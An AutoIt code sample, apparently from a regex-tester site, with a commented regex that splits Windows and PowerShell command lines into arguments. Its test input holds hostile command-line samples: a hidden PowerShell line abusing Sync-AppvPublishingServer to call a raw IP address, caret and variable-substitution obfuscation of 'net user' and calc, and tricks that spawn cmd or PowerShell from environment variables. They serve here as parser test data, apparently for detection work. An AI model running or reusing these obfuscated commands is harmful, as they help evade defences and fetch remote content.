#include <StringConstants.au3> ; to declare the Constants of StringRegExp
#include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate
Local $sRegex = "(?mJ)(?#\" & @CRLF & _
"Doc: This regex will split the commandline in arguments" & @CRLF & _
"" & @CRLF & _
"Details:" & @CRLF & _
" The arg variable will contain all the different arguments" & @CRLF & _
" argument delimiters are in two categories :" & @CRLF & _
" whitespaces delimiters : \t \n \r \v ' '" & @CRLF & _
" ',' : is a delimiter in the windows cmd " & @CRLF & _
" but it's not one in the powershell" & @CRLF & _
" quotation delimiters : \' \` \"" & @CRLF & _
"" & @CRLF & _
"Variables:" & @CRLF & _
" arg : will contain each argument" & @CRLF & _
"Next variables can be adjusted by adding or deleting delimiters" & @CRLF & _
" quote_delimiters : quoted argument delimiters" & @CRLF & _
" whitespace_delimiters : whitespace argument delimiters" & @CRLF & _
"" & @CRLF & _
")(?#\" & @CRLF & _
")(?<arg>(?#\" & @CRLF & _
" )(?<arg_quote>(?#\" & @CRLF & _
" )(?<quote_delimiters>"|'|`)(?#\" & @CRLF & _
" )(?:(?#\" & @CRLF & _
" )(?!\3)(?#\" & @CRLF & _
" )(?<escape>(?(?!\\)[\x00-\xFF]|[\x00-\xFF]{2}))(?#\" & @CRLF & _
" ))*(?#\" & @CRLF & _
" )\3(?#\" & @CRLF & _
" ))|(?<arg_whitespace>(?#\" & @CRLF & _
" )(?:(?#\" & @CRLF & _
" )(?!(?#\" & @CRLF & _
" )(?<whitespace_delimiters>\s|$)|(?#\" & @CRLF & _
" )(?P>quote_delimiters)(?#\" & @CRLF & _
" ))(?#\" & @CRLF & _
" )(?P>escape)(?#\" & @CRLF & _
" ))+(?#\" & @CRLF & _
" ))(?#\" & @CRLF & _
"))(?#\" & @CRLF & _
")(?#\" & @CRLF & _
")(?#\" & @CRLF & _
"Related doc:" & @CRLF & _
" https://docs.microsoft.com/fr-fr/cpp/c-language/parsing-c-command-line-arguments?view=vs-2019" & @CRLF & _
" http://daviddeley.com/autohotkey/parameters/parameters.htm" & @CRLF & _
")"
Local $sString = ""C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" --type=renderer /prefetch:1 "R:\Coficine\MCI\01 Activités\03 PARTICIPATIONS\2 Sociétés\1 Particip. actuelles\Monello Productions\03. Dossier client\01. KYC\Actionnariat\Actionnariat - 2018-05-03.pdf"" & @CRLF & _
"" & @CRLF & _
""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer \n;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;Invoke-WebRequest -Uri http://209.97.141.246/ee/index_files/alert.css}" & @CRLF & _
"" & @CRLF & _
""UNIT TESTS :"" & @CRLF & _
"" & @CRLF & _
"''" & @CRLF & _
" arg0\ \ \\ "arg1\"\"" "arg2\"\\""arg3 \"" 'arg4"arg4"' arg5 arg6 " & @CRLF & _
"" & @CRLF & _
" space_bef_and_aft__arg0 arg1 arg2 arg3 " & @CRLF & _
"space_aft___________arg0 arg1 arg2 arg3 " & @CRLF & _
" space_bef__________arg0 arg1 arg2 arg3" & @CRLF & _
"nospace_____________arg0 arg1 arg2 arg3" & @CRLF & _
"" & @CRLF & _
" multispace______________arg0 arg1 arg2 arg3 arg4 " & @CRLF & _
"" & @CRLF & _
" C:\ProgramData\Anaconda3\python.exe C:\ProgramData\Anaconda3\cwp.py C:\ProgramData\Anaconda3 C:\ProgramData\Anaconda3\python.exe C:\ProgramData\Anaconda3\Scripts\jupyter-notebook-script.py "%USERPROFILE%/" " & @CRLF & _
"" & @CRLF & _
"." & @CRLF & _
"" & @CRLF & _
"`echo `ls "/tmp"``'``'" & @CRLF & _
"" & @CRLF & _
"1""3"4"" & @CRLF & _
"" & @CRLF & _
"n^e^t u^s^er" & @CRLF & _
"" & @CRLF & _
"cmd /c "set x=calc & echo %x% | cmd"" & @CRLF & _
"cmd /c "set x=c@alc & echo %x:@=mantvydas% | cmd"" & @CRLF & _
"" & @CRLF & _
"\c \\ \' \" '\'\'\'\'\'\'\'\\' " & @CRLF & _
"" & @CRLF & _
"'# this will take the C character from %programdata% and will launch the cmd prompt'" & @CRLF & _
"%programdata:~0,1%md \c "whatever"" & @CRLF & _
"" & @CRLF & _
"@cmd" & @CRLF & _
"set pSM " & @CRLF & _
"PSModulePath=C:\Users\mantvydas\Documents\WindowsPowerShell\Modules;...." & @CRLF & _
"" & @CRLF & _
"FOR /F "tokens=7 delims=s\\" %g IN ('set^|findstr PSM') do %g" & @CRLF & _
"" & @CRLF & _
"cmd,/c;hostname" & @CRLF & _
"" & @CRLF & _
"" & @CRLF & _
"" & @CRLF & _
"" & @CRLF & _
"" & @CRLF & _
""
Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH)
Local $aFullArray[0]
For $i = 0 To UBound($aArray) -1
_ArrayConcatenate($aFullArray, $aArray[$i])
Next
$aArray = $aFullArray
; Present the entire match result
_ArrayDisplay($aArray, "Result")
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm